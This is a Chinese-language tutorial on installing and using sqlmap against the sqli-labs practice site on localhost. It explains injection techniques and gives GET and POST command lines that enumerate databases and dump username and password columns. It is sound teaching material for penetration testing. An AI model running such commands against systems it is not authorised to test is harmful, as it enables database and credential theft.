sqlmap使用教程
SQLMAP简介
sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
1.支持的数据库:
MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库
2.sqlmap支持的五种注入模式:
1.基于布尔的盲注,即可以根据返回页面判断条件真假的注入;
2.基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;
3.基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;
4.联合查询注入,可以使用union的情况下的注入;
5.堆查询注入,可以同时执行多条语句的执行时的注入。
3.sqlmap七个等级
如果想观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的,可以使用-v参数。 共有七个等级,默认为1:
0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面。
4.sqlmap注入判断简单流程
当给sqlmap一个url的时候,它会:
- 判断可注入的参数
- 判断可以用那种SQL注入技术来注入
- 识别出哪种数据库
- 根据用户选择,读取哪些数据
SQLMAP安装
1、安装python 3版本环境
首先,安装python 3.x的python环境。选择环境与工具下的python-3.7.3-amd64.exe。双击进行安装。注意当出现下面这个页面,选一下添加到环境变量(如果没有这个页面,继续进行即可):
一步一步选择默认选项,Next即可。
2、将sqlmap文件夹移动到安装好的python程序主目录下
3、在sqlmap文件夹下,运行cmd
(或直接打开cmd,然后切换到sqlmap目录下)
SQLMAP常见使用
1、 sqlmap常用选项
--users 所有数据库用户
--current-user 当前数据库用户
--is-dba 当前用户权限(是否为root权限)
--dbms 指定了某种数据库,如:mysql数据库
--batch 全局使用默认选项,不与人进行交互,适合全自动工作
--random-agent 构造随机user-agent
--threads= 使用多少线程
--dbs 所有数据库
--current-db 网站当前数据库
--tables -D "database" //database这个数据库的表数据表
--columns -T "tables" -D "database" //查看users这个数据表的字段
--dump -D "database" -T "tables" -C "username,password"//查看字段username和password下的数据
2、sqlmap不同注入模式
探测可使用的注入模式:参数--technique
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
例:
通过联合查询注入获取当前数据库
python sqlmap.py -u "127.0.0.1/Less-1/?id=1" --technique U --current-db --batch --dbms mysql
通过报错注入获取当前数据库
python sqlmap.py -u "127.0.0.1/Less-5/?id=1" --technique E --current-db --batch --dbms mysql
3、 利用sqlmap进行GET型SQL注入
(1)获取所有数据库(可添加全局使用默认选项--batch和指定某种数据库选项--dbms)
python sqlmap.py -u "url" –dbs
如:python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --dbs --batch --dbms mysql
(2)获取网站当前数据库
python sqlmap.py -u "url" --current-db
(3)获取security这个数据库的数据表
python sqlmap.py -u "url" --tables -D "security"
(4)查看users这个数据表的字段
python sqlmap.py -u "url" --columns -T "users" -D "security"
(5)查看字段username和password下的数据
python sqlmap.py -u "url" --dump -D "security" -T "users" -C "password,username"
4、 利用sqlmap进行POST型SQL注入
先用Burp Suite去抓包,直接发送包里面的内容保存到一个文件(这里是sql.txt文件)里面
然后用-r参数去实现
(1)获取网站当前数据库
python sqlmap.py -r "sql.txt文件路径" -p "uname" --batch --current-db --dbms mysql
(2)获取security这个数据库的数据表
python sqlmap.py -r "sql.txt文件路径" -p "uname" --batch --tables -D "security" --dbms mysql
(3)查看users这个数据表的字段
python sqlmap.py -r "sql.txt文件路径" -p "uname" --batch --columns -T "users" -D "security" --dbms mysql
(4)查看字段username和password下的数据
python sqlmap.py -r "sql.txt文件路径" -p "uname" --batch --dump -D "security" -T "users" -C "password,username" --dbms mysql